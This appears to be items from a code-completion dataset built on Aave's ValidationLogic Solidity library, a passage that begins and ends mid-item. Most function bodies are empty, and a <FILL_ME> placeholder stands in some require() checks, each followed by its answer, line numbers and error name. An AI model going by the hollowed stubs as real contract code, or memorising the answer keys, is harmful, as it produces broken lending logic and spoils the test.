DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, address asset, address from, uint256 reservesCount, address oracle, uint8 userEModeCategory ) internal view { } /** * @notice Validates a transfer action. * @param reserve The reserve object */ function validateTransfer(DataTypes.ReserveData storage reserve) internal view { } /** * @notice Validates a drop reserve action. * @param reservesList The addresses of all the active reserves * @param reserve The reserve object * @param asset The address of the reserve's underlying asset */ function validateDropReserve( mapping(uint256 => address) storage reservesList, DataTypes.ReserveData storage reserve, address asset ) internal view { } /** * @notice Validates the action of setting efficiency mode. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories a mapping storing configurations for all efficiency mode categories * @param userConfig the user configuration * @param reservesCount The total number of valid reserves * @param categoryId The id of the category */ function validateSetUserEMode( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, uint256 reservesCount, uint8 categoryId ) internal view { } /** * @notice Validates the action of activating the asset as collateral. * @dev Only possible if the asset has non-zero LTV and the user is not in isolation mode * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param userConfig the user configuration * @param reserveConfig The reserve configuration * @return True if the asset can be activated as collateral, false otherwise */ function validateUseAsCollateral( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveConfigurationMap memory reserveConfig ) internal view returns (bool) { } /** * @notice Validates if an asset should be automatically activated as collateral in the following actions: supply, * transfer, mint unbacked, and liquidate * @dev This is used to ensure that isolated assets are not enabled as collateral automatically * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param userConfig the user configuration * @param reserveConfig The reserve configuration * @return True if the asset can be activated as collateral, false otherwise */ function validateAutomaticUseAsCollateral( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveConfigurationMap memory reserveConfig, address aTokenAddress ) internal view returns (bool) { } }
vars.stableRateBorrowingEnabled,Errors.STABLE_BORROWING_NOT_ENABLED
435,439
vars.stableRateBorrowingEnabled
Errors.COLLATERAL_SAME_AS_BORROWING_CURRENCY
// SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.10; import {IERC20} from '../../../dependencies/openzeppelin/contracts/IERC20.sol'; import {Address} from '../../../dependencies/openzeppelin/contracts/Address.sol'; import {GPv2SafeERC20} from '../../../dependencies/gnosis/contracts/GPv2SafeERC20.sol'; import {IReserveInterestRateStrategy} from '../../../interfaces/IReserveInterestRateStrategy.sol'; import {IStableDebtToken} from '../../../interfaces/IStableDebtToken.sol'; import {IScaledBalanceToken} from '../../../interfaces/IScaledBalanceToken.sol'; import {IPriceOracleGetter} from '../../../interfaces/IPriceOracleGetter.sol'; import {IAToken} from '../../../interfaces/IAToken.sol'; import {IPriceOracleSentinel} from '../../../interfaces/IPriceOracleSentinel.sol'; import {IPoolAddressesProvider} from '../../../interfaces/IPoolAddressesProvider.sol'; import {IAccessControl} from '../../../dependencies/openzeppelin/contracts/IAccessControl.sol'; import {ReserveConfiguration} from '../configuration/ReserveConfiguration.sol'; import {UserConfiguration} from '../configuration/UserConfiguration.sol'; import {Errors} from '../helpers/Errors.sol'; import {WadRayMath} from '../math/WadRayMath.sol'; import {PercentageMath} from '../math/PercentageMath.sol'; import {DataTypes} from '../types/DataTypes.sol'; import {ReserveLogic} from './ReserveLogic.sol'; import {GenericLogic} from './GenericLogic.sol'; import {SafeCast} from '../../../dependencies/openzeppelin/contracts/SafeCast.sol'; import {IncentivizedERC20} from '../../tokenization/base/IncentivizedERC20.sol'; /** * @title ReserveLogic library * @author Aave * @notice Implements functions to validate the different actions of the protocol */ library ValidationLogic { using ReserveLogic for DataTypes.ReserveData; using WadRayMath for uint256; using PercentageMath for uint256; using SafeCast for uint256; using GPv2SafeERC20 for IERC20; using ReserveConfiguration for DataTypes.ReserveConfigurationMap; using UserConfiguration for DataTypes.UserConfigurationMap; using Address for address; // Factor to apply to "only-variable-debt" liquidity rate to get threshold for rebalancing, expressed in bps // A value of 0.9e4 results in 90% uint256 public constant REBALANCE_UP_LIQUIDITY_RATE_THRESHOLD = 0.9e4; // Minimum health factor allowed under any circumstance // A value of 0.95e18 results in 0.95 uint256 public constant MINIMUM_HEALTH_FACTOR_LIQUIDATION_THRESHOLD = 0.95e18; /** * @dev Minimum health factor to consider a user position healthy * A value of 1e18 results in 1 */ uint256 public constant HEALTH_FACTOR_LIQUIDATION_THRESHOLD = 1e18; /** * @dev Role identifier for the role allowed to supply isolated reserves as collateral */ bytes32 public constant ISOLATED_COLLATERAL_SUPPLIER_ROLE = keccak256('ISOLATED_COLLATERAL_SUPPLIER'); /** * @notice Validates a supply action. * @param reserveCache The cached data of the reserve * @param amount The amount to be supplied */ function validateSupply( DataTypes.ReserveCache memory reserveCache, DataTypes.ReserveData storage reserve, uint256 amount ) internal view { } /** * @notice Validates a withdraw action. * @param reserveCache The cached data of the reserve * @param amount The amount to be withdrawn * @param userBalance The balance of the user */ function validateWithdraw( DataTypes.ReserveCache memory reserveCache, uint256 amount, uint256 userBalance ) internal pure { } struct ValidateBorrowLocalVars { uint256 currentLtv; uint256 collateralNeededInBaseCurrency; uint256 userCollateralInBaseCurrency; uint256 userDebtInBaseCurrency; uint256 availableLiquidity; uint256 healthFactor; uint256 totalDebt; uint256 totalSupplyVariableDebt; uint256 reserveDecimals; uint256 borrowCap; uint256 amountInBaseCurrency; uint256 assetUnit; address eModePriceSource; address siloedBorrowingAddress; bool isActive; bool isFrozen; bool isPaused; bool borrowingEnabled; bool stableRateBorrowingEnabled; bool siloedBorrowingEnabled; } /** * @notice Validates a borrow action. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param params Additional params needed for the validation */ function validateBorrow( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.ValidateBorrowParams memory params ) internal view { require(params.amount != 0, Errors.INVALID_AMOUNT); ValidateBorrowLocalVars memory vars; ( vars.isActive, vars.isFrozen, vars.borrowingEnabled, vars.stableRateBorrowingEnabled, vars.isPaused ) = params.reserveCache.reserveConfiguration.getFlags(); require(vars.isActive, Errors.RESERVE_INACTIVE); require(!vars.isPaused, Errors.RESERVE_PAUSED); require(!vars.isFrozen, Errors.RESERVE_FROZEN); require(vars.borrowingEnabled, Errors.BORROWING_NOT_ENABLED); require( params.priceOracleSentinel == address(0) || IPriceOracleSentinel(params.priceOracleSentinel).isBorrowAllowed(), Errors.PRICE_ORACLE_SENTINEL_CHECK_FAILED ); //validate interest rate mode require( params.interestRateMode == DataTypes.InterestRateMode.VARIABLE || params.interestRateMode == DataTypes.InterestRateMode.STABLE, Errors.INVALID_INTEREST_RATE_MODE_SELECTED ); vars.reserveDecimals = params.reserveCache.reserveConfiguration.getDecimals(); vars.borrowCap = params.reserveCache.reserveConfiguration.getBorrowCap(); unchecked { vars.assetUnit = 10 ** vars.reserveDecimals; } if (vars.borrowCap != 0) { vars.totalSupplyVariableDebt = params.reserveCache.currScaledVariableDebt.rayMul( params.reserveCache.nextVariableBorrowIndex ); vars.totalDebt = params.reserveCache.currTotalStableDebt + vars.totalSupplyVariableDebt + params.amount; unchecked { require(vars.totalDebt <= vars.borrowCap * vars.assetUnit, Errors.BORROW_CAP_EXCEEDED); } } if (params.isolationModeActive) { // check that the asset being borrowed is borrowable in isolation mode AND // the total exposure is no bigger than the collateral debt ceiling require( params.reserveCache.reserveConfiguration.getBorrowableInIsolation(), Errors.ASSET_NOT_BORROWABLE_IN_ISOLATION ); require( reservesData[params.isolationModeCollateralAddress].isolationModeTotalDebt + (params.amount / 10 ** (vars.reserveDecimals - ReserveConfiguration.DEBT_CEILING_DECIMALS)) .toUint128() <= params.isolationModeDebtCeiling, Errors.DEBT_CEILING_EXCEEDED ); } if (params.userEModeCategory != 0) { require( params.reserveCache.reserveConfiguration.getEModeCategory() == params.userEModeCategory, Errors.INCONSISTENT_EMODE_CATEGORY ); vars.eModePriceSource = eModeCategories[params.userEModeCategory].priceSource; } ( vars.userCollateralInBaseCurrency, vars.userDebtInBaseCurrency, vars.currentLtv, , vars.healthFactor, ) = GenericLogic.calculateUserAccountData( reservesData, reservesList, eModeCategories, DataTypes.CalculateUserAccountDataParams({ userConfig: params.userConfig, reservesCount: params.reservesCount, user: params.userAddress, oracle: params.oracle, userEModeCategory: params.userEModeCategory }) ); require(vars.userCollateralInBaseCurrency != 0, Errors.COLLATERAL_BALANCE_IS_ZERO); require(vars.currentLtv != 0, Errors.LTV_VALIDATION_FAILED); require( vars.healthFactor > HEALTH_FACTOR_LIQUIDATION_THRESHOLD, Errors.HEALTH_FACTOR_LOWER_THAN_LIQUIDATION_THRESHOLD ); vars.amountInBaseCurrency = IPriceOracleGetter(params.oracle).getAssetPrice( vars.eModePriceSource != address(0) ? vars.eModePriceSource : params.asset ) * params.amount; unchecked { vars.amountInBaseCurrency /= vars.assetUnit; } //add the current already borrowed amount to the amount requested to calculate the total collateral needed. vars.collateralNeededInBaseCurrency = (vars.userDebtInBaseCurrency + vars.amountInBaseCurrency) .percentDiv(vars.currentLtv); //LTV is calculated in percentage require( vars.collateralNeededInBaseCurrency <= vars.userCollateralInBaseCurrency, Errors.COLLATERAL_CANNOT_COVER_NEW_BORROW ); /** * Following conditions need to be met if the user is borrowing at a stable rate: * 1. Reserve must be enabled for stable rate borrowing * 2. Users cannot borrow from the reserve if their collateral is (mostly) the same currency * they are borrowing, to prevent abuses. * 3. Users will be able to borrow only a portion of the total available liquidity */ if (params.interestRateMode == DataTypes.InterestRateMode.STABLE) { //check if the borrow mode is stable and if stable rate borrowing is enabled on this reserve require(vars.stableRateBorrowingEnabled, Errors.STABLE_BORROWING_NOT_ENABLED); require(<FILL_ME>) vars.availableLiquidity = IERC20(params.asset).balanceOf(params.reserveCache.aTokenAddress); //calculate the max available loan size in stable rate mode as a percentage of the //available liquidity uint256 maxLoanSizeStable = vars.availableLiquidity.percentMul(params.maxStableLoanPercent); require(params.amount <= maxLoanSizeStable, Errors.AMOUNT_BIGGER_THAN_MAX_LOAN_SIZE_STABLE); } if (params.userConfig.isBorrowingAny()) { (vars.siloedBorrowingEnabled, vars.siloedBorrowingAddress) = params .userConfig .getSiloedBorrowingState(reservesData, reservesList); if (vars.siloedBorrowingEnabled) { require(vars.siloedBorrowingAddress == params.asset, Errors.SILOED_BORROWING_VIOLATION); } else { require( !params.reserveCache.reserveConfiguration.getSiloedBorrowing(), Errors.SILOED_BORROWING_VIOLATION ); } } } /** * @notice Validates a repay action. * @param reserveCache The cached data of the reserve * @param amountSent The amount sent for the repayment. Can be an actual value or uint(-1) * @param interestRateMode The interest rate mode of the debt being repaid * @param onBehalfOf The address of the user msg.sender is repaying for * @param stableDebt The borrow balance of the user * @param variableDebt The borrow balance of the user */ function validateRepay( DataTypes.ReserveCache memory reserveCache, uint256 amountSent, DataTypes.InterestRateMode interestRateMode, address onBehalfOf, uint256 stableDebt, uint256 variableDebt ) internal view { } /** * @notice Validates a swap of borrow rate mode. * @param reserve The reserve state on which the user is swapping the rate * @param reserveCache The cached data of the reserve * @param userConfig The user reserves configuration * @param stableDebt The stable debt of the user * @param variableDebt The variable debt of the user * @param currentRateMode The rate mode of the debt being swapped */ function validateSwapRateMode( DataTypes.ReserveData storage reserve, DataTypes.ReserveCache memory reserveCache, DataTypes.UserConfigurationMap storage userConfig, uint256 stableDebt, uint256 variableDebt, DataTypes.InterestRateMode currentRateMode ) internal view { } /** * @notice Validates a stable borrow rate rebalance action. * @dev Rebalancing is accepted when depositors are earning <= 90% of their earnings in pure supply/demand market (variable rate only) * For this to be the case, there has to be quite large stable debt with an interest rate below the current variable rate. * @param reserve The reserve state on which the user is getting rebalanced * @param reserveCache The cached state of the reserve * @param reserveAddress The address of the reserve */ function validateRebalanceStableBorrowRate( DataTypes.ReserveData storage reserve, DataTypes.ReserveCache memory reserveCache, address reserveAddress ) internal view { } /** * @notice Validates the action of setting an asset as collateral. * @param reserveCache The cached data of the reserve * @param userBalance The balance of the user */ function validateSetUseReserveAsCollateral( DataTypes.ReserveCache memory reserveCache, uint256 userBalance ) internal pure { } /** * @notice Validates a flashloan action. * @param reservesData The state of all the reserves * @param assets The assets being flash-borrowed * @param amounts The amounts for each asset being borrowed */ function validateFlashloan( mapping(address => DataTypes.ReserveData) storage reservesData, address[] memory assets, uint256[] memory amounts ) internal view { } /** * @notice Validates a flashloan action. * @param reserve The state of the reserve */ function validateFlashloanSimple(DataTypes.ReserveData storage reserve) internal view { } struct ValidateLiquidationCallLocalVars { bool collateralReserveActive; bool collateralReservePaused; bool principalReserveActive; bool principalReservePaused; bool isCollateralEnabled; } /** * @notice Validates the liquidation action. * @param userConfig The user configuration mapping * @param collateralReserve The reserve data of the collateral * @param params Additional parameters needed for the validation */ function validateLiquidationCall( DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveData storage collateralReserve, DataTypes.ValidateLiquidationCallParams memory params ) internal view { } /** * @notice Validates the health factor of a user. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param userConfig The state of the user for the specific reserve * @param user The user to validate health factor of * @param userEModeCategory The users active efficiency mode category * @param reservesCount The number of available reserves * @param oracle The price oracle */ function validateHealthFactor( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, address user, uint8 userEModeCategory, uint256 reservesCount, address oracle ) internal view returns (uint256, bool) { } /** * @notice Validates the health factor of a user and the ltv of the asset being withdrawn. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param userConfig The state of the user for the specific reserve * @param asset The asset for which the ltv will be validated * @param from The user from which the aTokens are being transferred * @param reservesCount The number of available reserves * @param oracle The price oracle * @param userEModeCategory The users active efficiency mode category */ function validateHFAndLtv( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, address asset, address from, uint256 reservesCount, address oracle, uint8 userEModeCategory ) internal view { } /** * @notice Validates a transfer action. * @param reserve The reserve object */ function validateTransfer(DataTypes.ReserveData storage reserve) internal view { } /** * @notice Validates a drop reserve action. * @param reservesList The addresses of all the active reserves * @param reserve The reserve object * @param asset The address of the reserve's underlying asset */ function validateDropReserve( mapping(uint256 => address) storage reservesList, DataTypes.ReserveData storage reserve, address asset ) internal view { } /** * @notice Validates the action of setting efficiency mode. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories a mapping storing configurations for all efficiency mode categories * @param userConfig the user configuration * @param reservesCount The total number of valid reserves * @param categoryId The id of the category */ function validateSetUserEMode( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, uint256 reservesCount, uint8 categoryId ) internal view { } /** * @notice Validates the action of activating the asset as collateral. * @dev Only possible if the asset has non-zero LTV and the user is not in isolation mode * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param userConfig the user configuration * @param reserveConfig The reserve configuration * @return True if the asset can be activated as collateral, false otherwise */ function validateUseAsCollateral( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveConfigurationMap memory reserveConfig ) internal view returns (bool) { } /** * @notice Validates if an asset should be automatically activated as collateral in the following actions: supply, * transfer, mint unbacked, and liquidate * @dev This is used to ensure that isolated assets are not enabled as collateral automatically * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param userConfig the user configuration * @param reserveConfig The reserve configuration * @return True if the asset can be activated as collateral, false otherwise */ function validateAutomaticUseAsCollateral( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveConfigurationMap memory reserveConfig, address aTokenAddress ) internal view returns (bool) { } }
!params.userConfig.isUsingAsCollateral(reservesData[params.asset].id)||params.reserveCache.reserveConfiguration.getLtv()==0||params.amount>IERC20(params.reserveCache.aTokenAddress).balanceOf(params.userAddress),Errors.COLLATERAL_SAME_AS_BORROWING_CURRENCY
435,439
!params.userConfig.isUsingAsCollateral(reservesData[params.asset].id)||params.reserveCache.reserveConfiguration.getLtv()==0||params.amount>IERC20(params.reserveCache.aTokenAddress).balanceOf(params.userAddress)
Errors.SILOED_BORROWING_VIOLATION
// SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.10; import {IERC20} from '../../../dependencies/openzeppelin/contracts/IERC20.sol'; import {Address} from '../../../dependencies/openzeppelin/contracts/Address.sol'; import {GPv2SafeERC20} from '../../../dependencies/gnosis/contracts/GPv2SafeERC20.sol'; import {IReserveInterestRateStrategy} from '../../../interfaces/IReserveInterestRateStrategy.sol'; import {IStableDebtToken} from '../../../interfaces/IStableDebtToken.sol'; import {IScaledBalanceToken} from '../../../interfaces/IScaledBalanceToken.sol'; import {IPriceOracleGetter} from '../../../interfaces/IPriceOracleGetter.sol'; import {IAToken} from '../../../interfaces/IAToken.sol'; import {IPriceOracleSentinel} from '../../../interfaces/IPriceOracleSentinel.sol'; import {IPoolAddressesProvider} from '../../../interfaces/IPoolAddressesProvider.sol'; import {IAccessControl} from '../../../dependencies/openzeppelin/contracts/IAccessControl.sol'; import {ReserveConfiguration} from '../configuration/ReserveConfiguration.sol'; import {UserConfiguration} from '../configuration/UserConfiguration.sol'; import {Errors} from '../helpers/Errors.sol'; import {WadRayMath} from '../math/WadRayMath.sol'; import {PercentageMath} from '../math/PercentageMath.sol'; import {DataTypes} from '../types/DataTypes.sol'; import {ReserveLogic} from './ReserveLogic.sol'; import {GenericLogic} from './GenericLogic.sol'; import {SafeCast} from '../../../dependencies/openzeppelin/contracts/SafeCast.sol'; import {IncentivizedERC20} from '../../tokenization/base/IncentivizedERC20.sol'; /** * @title ReserveLogic library * @author Aave * @notice Implements functions to validate the different actions of the protocol */ library ValidationLogic { using ReserveLogic for DataTypes.ReserveData; using WadRayMath for uint256; using PercentageMath for uint256; using SafeCast for uint256; using GPv2SafeERC20 for IERC20; using ReserveConfiguration for DataTypes.ReserveConfigurationMap; using UserConfiguration for DataTypes.UserConfigurationMap; using Address for address; // Factor to apply to "only-variable-debt" liquidity rate to get threshold for rebalancing, expressed in bps // A value of 0.9e4 results in 90% uint256 public constant REBALANCE_UP_LIQUIDITY_RATE_THRESHOLD = 0.9e4; // Minimum health factor allowed under any circumstance // A value of 0.95e18 results in 0.95 uint256 public constant MINIMUM_HEALTH_FACTOR_LIQUIDATION_THRESHOLD = 0.95e18; /** * @dev Minimum health factor to consider a user position healthy * A value of 1e18 results in 1 */ uint256 public constant HEALTH_FACTOR_LIQUIDATION_THRESHOLD = 1e18; /** * @dev Role identifier for the role allowed to supply isolated reserves as collateral */ bytes32 public constant ISOLATED_COLLATERAL_SUPPLIER_ROLE = keccak256('ISOLATED_COLLATERAL_SUPPLIER'); /** * @notice Validates a supply action. * @param reserveCache The cached data of the reserve * @param amount The amount to be supplied */ function validateSupply( DataTypes.ReserveCache memory reserveCache, DataTypes.ReserveData storage reserve, uint256 amount ) internal view { } /** * @notice Validates a withdraw action. * @param reserveCache The cached data of the reserve * @param amount The amount to be withdrawn * @param userBalance The balance of the user */ function validateWithdraw( DataTypes.ReserveCache memory reserveCache, uint256 amount, uint256 userBalance ) internal pure { } struct ValidateBorrowLocalVars { uint256 currentLtv; uint256 collateralNeededInBaseCurrency; uint256 userCollateralInBaseCurrency; uint256 userDebtInBaseCurrency; uint256 availableLiquidity; uint256 healthFactor; uint256 totalDebt; uint256 totalSupplyVariableDebt; uint256 reserveDecimals; uint256 borrowCap; uint256 amountInBaseCurrency; uint256 assetUnit; address eModePriceSource; address siloedBorrowingAddress; bool isActive; bool isFrozen; bool isPaused; bool borrowingEnabled; bool stableRateBorrowingEnabled; bool siloedBorrowingEnabled; } /** * @notice Validates a borrow action. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param params Additional params needed for the validation */ function validateBorrow( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.ValidateBorrowParams memory params ) internal view { require(params.amount != 0, Errors.INVALID_AMOUNT); ValidateBorrowLocalVars memory vars; ( vars.isActive, vars.isFrozen, vars.borrowingEnabled, vars.stableRateBorrowingEnabled, vars.isPaused ) = params.reserveCache.reserveConfiguration.getFlags(); require(vars.isActive, Errors.RESERVE_INACTIVE); require(!vars.isPaused, Errors.RESERVE_PAUSED); require(!vars.isFrozen, Errors.RESERVE_FROZEN); require(vars.borrowingEnabled, Errors.BORROWING_NOT_ENABLED); require( params.priceOracleSentinel == address(0) || IPriceOracleSentinel(params.priceOracleSentinel).isBorrowAllowed(), Errors.PRICE_ORACLE_SENTINEL_CHECK_FAILED ); //validate interest rate mode require( params.interestRateMode == DataTypes.InterestRateMode.VARIABLE || params.interestRateMode == DataTypes.InterestRateMode.STABLE, Errors.INVALID_INTEREST_RATE_MODE_SELECTED ); vars.reserveDecimals = params.reserveCache.reserveConfiguration.getDecimals(); vars.borrowCap = params.reserveCache.reserveConfiguration.getBorrowCap(); unchecked { vars.assetUnit = 10 ** vars.reserveDecimals; } if (vars.borrowCap != 0) { vars.totalSupplyVariableDebt = params.reserveCache.currScaledVariableDebt.rayMul( params.reserveCache.nextVariableBorrowIndex ); vars.totalDebt = params.reserveCache.currTotalStableDebt + vars.totalSupplyVariableDebt + params.amount; unchecked { require(vars.totalDebt <= vars.borrowCap * vars.assetUnit, Errors.BORROW_CAP_EXCEEDED); } } if (params.isolationModeActive) { // check that the asset being borrowed is borrowable in isolation mode AND // the total exposure is no bigger than the collateral debt ceiling require( params.reserveCache.reserveConfiguration.getBorrowableInIsolation(), Errors.ASSET_NOT_BORROWABLE_IN_ISOLATION ); require( reservesData[params.isolationModeCollateralAddress].isolationModeTotalDebt + (params.amount / 10 ** (vars.reserveDecimals - ReserveConfiguration.DEBT_CEILING_DECIMALS)) .toUint128() <= params.isolationModeDebtCeiling, Errors.DEBT_CEILING_EXCEEDED ); } if (params.userEModeCategory != 0) { require( params.reserveCache.reserveConfiguration.getEModeCategory() == params.userEModeCategory, Errors.INCONSISTENT_EMODE_CATEGORY ); vars.eModePriceSource = eModeCategories[params.userEModeCategory].priceSource; } ( vars.userCollateralInBaseCurrency, vars.userDebtInBaseCurrency, vars.currentLtv, , vars.healthFactor, ) = GenericLogic.calculateUserAccountData( reservesData, reservesList, eModeCategories, DataTypes.CalculateUserAccountDataParams({ userConfig: params.userConfig, reservesCount: params.reservesCount, user: params.userAddress, oracle: params.oracle, userEModeCategory: params.userEModeCategory }) ); require(vars.userCollateralInBaseCurrency != 0, Errors.COLLATERAL_BALANCE_IS_ZERO); require(vars.currentLtv != 0, Errors.LTV_VALIDATION_FAILED); require( vars.healthFactor > HEALTH_FACTOR_LIQUIDATION_THRESHOLD, Errors.HEALTH_FACTOR_LOWER_THAN_LIQUIDATION_THRESHOLD ); vars.amountInBaseCurrency = IPriceOracleGetter(params.oracle).getAssetPrice( vars.eModePriceSource != address(0) ? vars.eModePriceSource : params.asset ) * params.amount; unchecked { vars.amountInBaseCurrency /= vars.assetUnit; } //add the current already borrowed amount to the amount requested to calculate the total collateral needed. vars.collateralNeededInBaseCurrency = (vars.userDebtInBaseCurrency + vars.amountInBaseCurrency) .percentDiv(vars.currentLtv); //LTV is calculated in percentage require( vars.collateralNeededInBaseCurrency <= vars.userCollateralInBaseCurrency, Errors.COLLATERAL_CANNOT_COVER_NEW_BORROW ); /** * Following conditions need to be met if the user is borrowing at a stable rate: * 1. Reserve must be enabled for stable rate borrowing * 2. Users cannot borrow from the reserve if their collateral is (mostly) the same currency * they are borrowing, to prevent abuses. * 3. Users will be able to borrow only a portion of the total available liquidity */ if (params.interestRateMode == DataTypes.InterestRateMode.STABLE) { //check if the borrow mode is stable and if stable rate borrowing is enabled on this reserve require(vars.stableRateBorrowingEnabled, Errors.STABLE_BORROWING_NOT_ENABLED); require( !params.userConfig.isUsingAsCollateral(reservesData[params.asset].id) || params.reserveCache.reserveConfiguration.getLtv() == 0 || params.amount > IERC20(params.reserveCache.aTokenAddress).balanceOf(params.userAddress), Errors.COLLATERAL_SAME_AS_BORROWING_CURRENCY ); vars.availableLiquidity = IERC20(params.asset).balanceOf(params.reserveCache.aTokenAddress); //calculate the max available loan size in stable rate mode as a percentage of the //available liquidity uint256 maxLoanSizeStable = vars.availableLiquidity.percentMul(params.maxStableLoanPercent); require(params.amount <= maxLoanSizeStable, Errors.AMOUNT_BIGGER_THAN_MAX_LOAN_SIZE_STABLE); } if (params.userConfig.isBorrowingAny()) { (vars.siloedBorrowingEnabled, vars.siloedBorrowingAddress) = params .userConfig .getSiloedBorrowingState(reservesData, reservesList); if (vars.siloedBorrowingEnabled) { require(vars.siloedBorrowingAddress == params.asset, Errors.SILOED_BORROWING_VIOLATION); } else { require(<FILL_ME>) } } } /** * @notice Validates a repay action. * @param reserveCache The cached data of the reserve * @param amountSent The amount sent for the repayment. Can be an actual value or uint(-1) * @param interestRateMode The interest rate mode of the debt being repaid * @param onBehalfOf The address of the user msg.sender is repaying for * @param stableDebt The borrow balance of the user * @param variableDebt The borrow balance of the user */ function validateRepay( DataTypes.ReserveCache memory reserveCache, uint256 amountSent, DataTypes.InterestRateMode interestRateMode, address onBehalfOf, uint256 stableDebt, uint256 variableDebt ) internal view { } /** * @notice Validates a swap of borrow rate mode. * @param reserve The reserve state on which the user is swapping the rate * @param reserveCache The cached data of the reserve * @param userConfig The user reserves configuration * @param stableDebt The stable debt of the user * @param variableDebt The variable debt of the user * @param currentRateMode The rate mode of the debt being swapped */ function validateSwapRateMode( DataTypes.ReserveData storage reserve, DataTypes.ReserveCache memory reserveCache, DataTypes.UserConfigurationMap storage userConfig, uint256 stableDebt, uint256 variableDebt, DataTypes.InterestRateMode currentRateMode ) internal view { } /** * @notice Validates a stable borrow rate rebalance action. * @dev Rebalancing is accepted when depositors are earning <= 90% of their earnings in pure supply/demand market (variable rate only) * For this to be the case, there has to be quite large stable debt with an interest rate below the current variable rate. * @param reserve The reserve state on which the user is getting rebalanced * @param reserveCache The cached state of the reserve * @param reserveAddress The address of the reserve */ function validateRebalanceStableBorrowRate( DataTypes.ReserveData storage reserve, DataTypes.ReserveCache memory reserveCache, address reserveAddress ) internal view { } /** * @notice Validates the action of setting an asset as collateral. * @param reserveCache The cached data of the reserve * @param userBalance The balance of the user */ function validateSetUseReserveAsCollateral( DataTypes.ReserveCache memory reserveCache, uint256 userBalance ) internal pure { } /** * @notice Validates a flashloan action. * @param reservesData The state of all the reserves * @param assets The assets being flash-borrowed * @param amounts The amounts for each asset being borrowed */ function validateFlashloan( mapping(address => DataTypes.ReserveData) storage reservesData, address[] memory assets, uint256[] memory amounts ) internal view { } /** * @notice Validates a flashloan action. * @param reserve The state of the reserve */ function validateFlashloanSimple(DataTypes.ReserveData storage reserve) internal view { } struct ValidateLiquidationCallLocalVars { bool collateralReserveActive; bool collateralReservePaused; bool principalReserveActive; bool principalReservePaused; bool isCollateralEnabled; } /** * @notice Validates the liquidation action. * @param userConfig The user configuration mapping * @param collateralReserve The reserve data of the collateral * @param params Additional parameters needed for the validation */ function validateLiquidationCall( DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveData storage collateralReserve, DataTypes.ValidateLiquidationCallParams memory params ) internal view { } /** * @notice Validates the health factor of a user. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param userConfig The state of the user for the specific reserve * @param user The user to validate health factor of * @param userEModeCategory The users active efficiency mode category * @param reservesCount The number of available reserves * @param oracle The price oracle */ function validateHealthFactor( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, address user, uint8 userEModeCategory, uint256 reservesCount, address oracle ) internal view returns (uint256, bool) { } /** * @notice Validates the health factor of a user and the ltv of the asset being withdrawn. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param userConfig The state of the user for the specific reserve * @param asset The asset for which the ltv will be validated * @param from The user from which the aTokens are being transferred * @param reservesCount The number of available reserves * @param oracle The price oracle * @param userEModeCategory The users active efficiency mode category */ function validateHFAndLtv( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, address asset, address from, uint256 reservesCount, address oracle, uint8 userEModeCategory ) internal view { } /** * @notice Validates a transfer action. * @param reserve The reserve object */ function validateTransfer(DataTypes.ReserveData storage reserve) internal view { } /** * @notice Validates a drop reserve action. * @param reservesList The addresses of all the active reserves * @param reserve The reserve object * @param asset The address of the reserve's underlying asset */ function validateDropReserve( mapping(uint256 => address) 